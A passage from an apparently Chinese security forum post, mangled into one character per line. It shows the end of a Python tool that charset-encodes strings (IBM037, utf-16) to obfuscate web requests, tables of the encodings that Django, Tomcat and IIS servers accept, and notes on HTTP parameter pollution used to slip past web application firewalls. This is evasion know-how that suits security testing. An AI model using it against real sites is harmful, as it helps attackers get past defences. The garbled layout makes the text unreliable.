a
r
s
e
r
.
a
d
d
_
a
r
g
u
m
e
n
t
_
g
r
o
u
p
(
'
O
p
t
i
o
n
a
l
A
r
g
u
m
e
n
t
s
'
)
#
R
e
q
u
i
r
e
d
O
p
t
i
o
n
s
r
e
q
u
i
r
e
d
.
a
d
d
_
a
r
g
u
m
e
n
t
(
'
-
s
'
,
'
-
-
s
t
r
'
,
h
e
l
p
=
'
S
t
r
i
n
g
t
o
o
b
f
u
s
c
a
t
e
'
,
d
e
s
t
=
'
s
t
r
'
)
r
e
q
u
i
r
e
d
.
a
d
d
_
a
r
g
u
m
e
n
t
(
'
-
e
'
,
'
-
-
e
n
c
'
,
h
e
l
p
=
'
E
n
c
o
d
i
n
g
t
y
p
e
.
e
g
:
i
b
m
0
3
7
,
u
t
f
1
6
,
e
t
c
'
,
d
e
s
t
=
'
e
n
c
'
#
O
p
t
i
o
n
a
l
A
r
g
u
m
e
n
t
s
(
m
a
i
n
s
t
u
f
f
a
n
d
n
e
c
e
s
s
a
r
y
)
o
p
t
i
o
n
a
l
.
a
d
d
_
a
r
g
u
m
e
n
t
(
'
-
u
e
o
'
,
h
e
l
p
=
'
U
R
L
E
n
c
o
d
e
O
u
t
p
u
t
'
,
d
e
s
t
=
'
u
e
o
'
,
a
c
t
i
o
n
=
'
s
t
o
r
e
_
t
r
u
e
'
)
o
p
t
i
o
n
a
l
.
a
d
d
_
a
r
g
u
m
e
n
t
(
'
-
u
d
i
'
,
h
e
l
p
=
'
U
R
L
D
e
c
o
d
e
I
n
p
u
t
'
,
d
e
s
t
=
'
u
d
i
'
,
a
c
t
i
o
n
=
'
s
t
o
r
e
_
t
r
u
e
'
)
a
r
g
s
=
p
a
r
s
e
r
.
p
a
r
s
e
_
a
r
g
s
(
)
i
f
n
o
t
l
e
n
(
s
y
s
.
a
r
g
v
)
>
1
:
p
a
r
s
e
r
.
p
r
i
n
t
_
h
e
l
p
(
)
q
u
i
t
(
)
p
r
i
n
t
(
'
I
n
p
u
t
:
%
s
'
%
(
a
r
g
s
.
s
t
r
)
)
p
r
i
n
t
(
'
O
u
t
p
u
t
:
%
s
'
%
(
p
a
r
a
m
E
n
c
o
d
e
(
p
a
r
a
m
s
=
a
r
g
s
.
s
t
r
,
c
h
a
r
s
e
t
=
a
r
g
s
.
e
n
c
,
u
r
l
D
e
c
o
d
e
I
n
p
u
t
=
a
r
g
s
.
u
d
i
,
u
r
l
E
n
c
o
d
e
O
u
t
p
u
t
=
a
r
g
s
.
u
e
o
)
)
)
i
f
_
_
n
a
m
e
_
_
=
=
'
_
_
m
a
i
n
_
_
'
:
m
a
i
n
(
)
N
g
i
n
x
,
u
W
S
G
I
-
D
j
a
n
g
o
-
P
y
t
h
o
n
3
I
B
M
0
3
7
,
I
B
M
5
0
0
,
c
p
8
7
5
,
I
B
M
1
0
2
6
,
I
B
M
2
7
3
对
参
数
名
和
参
数
值
进
行
编
码
服
务
器
会
对
参
数
名
和
参
数
值
均
进
行
u
r
l
解
码
需
要
对
等
号
和
&
a
n
d
进
行
编
码
(
不
进
行
u
r
l
编
码
)
N
g
i
n
x
,
u
W
S
G
I
-
D
j
a
n
g
o
-
P
y
t
h
o
n
2
I
B
M
0
3
7
,
I
B
M
5
0
0
,
c
p
8
7
5
,
I
B
M
1
0
2
6
,
u
t
f
-
1
6
,
u
t
f
-
3
2
,
u
t
f
-
3
2
B
E
,
I
B
M
4
2
4
对
参
数
名
和
参
数
值
进
行
便
慢
慢
服
务
器
会
对
参
数
名
和
参
数
值
均
进
行
u
r
l
解
码
等
号
和
&
符
号
不
应
该
以
任
何
方
式
编
码
。
A
p
a
c
h
e
-
T
O
M
C
A
T
8
-
J
V
M
1
.
8
-
J
S
P
I
B
M
0
3
7
,
I
B
M
5
0
0
,
I
B
M
8
7
0
,
c
p
8
7
5
,
I
B
M
1
0
2
6
,
I
B
M
0
1
1
4
0
,
I
B
M
0
1
1
4
1
,
I
B
M
0
1
1
4
2
,
I
B
M
0
1
1
4
3
,
I
B
M
0
1
1
4
4
,
I
B
M
0
1
1
4
5
,
I
B
M
0
1
1
4
6
,
I
B
M
0
1
1
4
7
,
I
B
M
0
1
1
4
8
,
I
B
M
0
1
1
4
9
,
u
t
f
-
1
6
,
u
t
f
-
3
2
,
u
t
f
-
3
2
B
E
,
I
B
M
2
7
3
,
I
B
M
2
7
7
,
I
B
M
2
7
8
,
I
B
M
2
8
0
,
I
B
M
2
8
4
,
I
B
M
2
8
5
,
I
B
M
2
9
0
,
I
B
M
2
9
7
,
I
B
M
4
2
0
,
I
B
M
4
2
4
,
I
B
M
-
T
h
a
i
,
I
B
M
8
7
1
,
c
p
1
0
2
5
参
数
名
按
原
始
格
式
(
可
以
像
往
常
一
样
使
用
u
r
l
编
码
)
B
o
d
y
不
论
是
否
经
过
u
r
l
编
码
均
可
等
号
和
&
符
号
不
应
该
以
任
何
方
式
编
码
A
p
a
c
h
e
-
T
O
M
C
A
T
7
-
J
V
M
1
.
6
-
J
S
P
I
B
M
0
3
7
,
I
B
M
5
0
0
,
I
B
M
8
7
0
,
c
p
8
7
5
,
I
B
M
1
0
2
6
,
I
B
M
0
1
1
4
0
,
I
B
M
0
1
1
4
1
,
I
B
M
0
1
1
4
2
,
I
B
M
0
1
1
4
3
,
I
B
M
0
1
1
4
4
,
I
B
M
0
1
1
4
5
,
I
B
M
0
1
1
4
6
,
I
B
M
0
1
1
4
7
,
I
B
M
0
1
1
4
8
,
I
B
M
0
1
1
4
9
,
u
t
f
-
1
6
,
u
t
f
-
3
2
,
u
t
f
-
3
2
B
E
,
I
B
M
2
7
3
,
I
B
M
2
7
7
,
I
B
M
2
7
8
,
I
B
M
2
8
0
,
I
B
M
2
8
4
,
I
B
M
2
8
5
,
I
B
M
2
9
7
,
I
B
M
4
2
0
,
I
B
M
4
2
4
,
I
B
M
-
T
h
a
i
,
I
B
M
8
7
1
,
c
p
1
0
2
5
参
数
名
按
原
始
格
式
(
可
以
像
往
常
一
样
使
用
u
r
l
编
码
)
B
o
d
y
不
论
是
否
经
过
u
r
l
编
码
均
可
等
号
和
&
符
号
不
应
该
以
任
何
方
式
编
码
I
I
S
6
,
7
.
5
,
8
,
1
0
-
A
S
P
X
(
v
4
.
x
)
I
B
M
0
3
7
,
I
B
M
5
0
0
,
I
B
M
8
7
0
,
c
p
8
7
5
,
I
B
M
1
0
2
6
,
I
B
M
0
1
0
4
7
,
I
B
M
0
1
1
4
0
,
I
B
M
0
1
1
4
1
,
I
B
M
0
1
1
4
2
,
I
B
M
0
1
1
4
3
,
I
B
M
0
1
1
4
4
,
I
B
M
0
1
1
4
5
,
I
B
M
0
1
1
4
6
,
I
B
M
0
1
1
4
7
,
I
B
M
0
1
1
4
8
,
I
B
M
0
1
1
4
9
,
u
t
f
-
1
6
,
u
n
i
c
o
d
e
F
F
F
E
,
u
t
f
-
3
2
,
u
t
f
-
3
2
B
E
,
I
B
M
2
7
3
,
I
B
M
2
7
7
,
I
B
M
2
7
8
,
I
B
M
2
8
0
,
I
B
M
2
8
4
,
I
B
M
2
8
5
,
I
B
M
2
9
0
,
I
B
M
2
9
7
,
I
B
M
4
2
0
,
I
B
M
4
2
3
,
I
B
M
4
2
4
,
x
-
E
B
C
D
I
C
-
K
o
r
e
a
n
E
x
t
e
n
d
e
d
,
I
B
M
-
T
h
a
i
,
I
B
M
8
7
1
,
I
B
M
8
8
0
,
I
B
M
9
0
5
,
I
B
M
0
0
9
2
4
,
c
p
1
0
2
5
参
数
名
按
原
始
格
式
(
可
以
像
往
常
一
样
使
用
u
r
l
编
码
)
B
o
d
y
不
论
是
否
经
过
u
r
l
编
码
均
可
等
号
和
&
符
号
不
应
该
以
任
何
方
式
编
码
服
务
器
信
息
服
务
器
信
息
可
用
编
码
可
用
编
码
说
明
说
明
0
X
0
4
H
T
T
P
参
数
污
染
参
数
污
染
手
法
下
面
是
相
关
服
务
器
对
参
数
解
释
的
比
较
这
种
攻
击
方
法
基
于
服
务
器
如
何
解
释
具
有
相
同
名
称
的
参
数
可
能
造
成
b
y
p
a
s
s
的
情
况
:
服
务
器
使
用
最
后
接
收
到
的
参
数
,
W
A
F
只
检
查
第
一
个
参
数
服
务
器
将
来
自
类
似
参
数
的
值
联
合
起
来
,
W
A
F
单
独
检
查
它
们
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页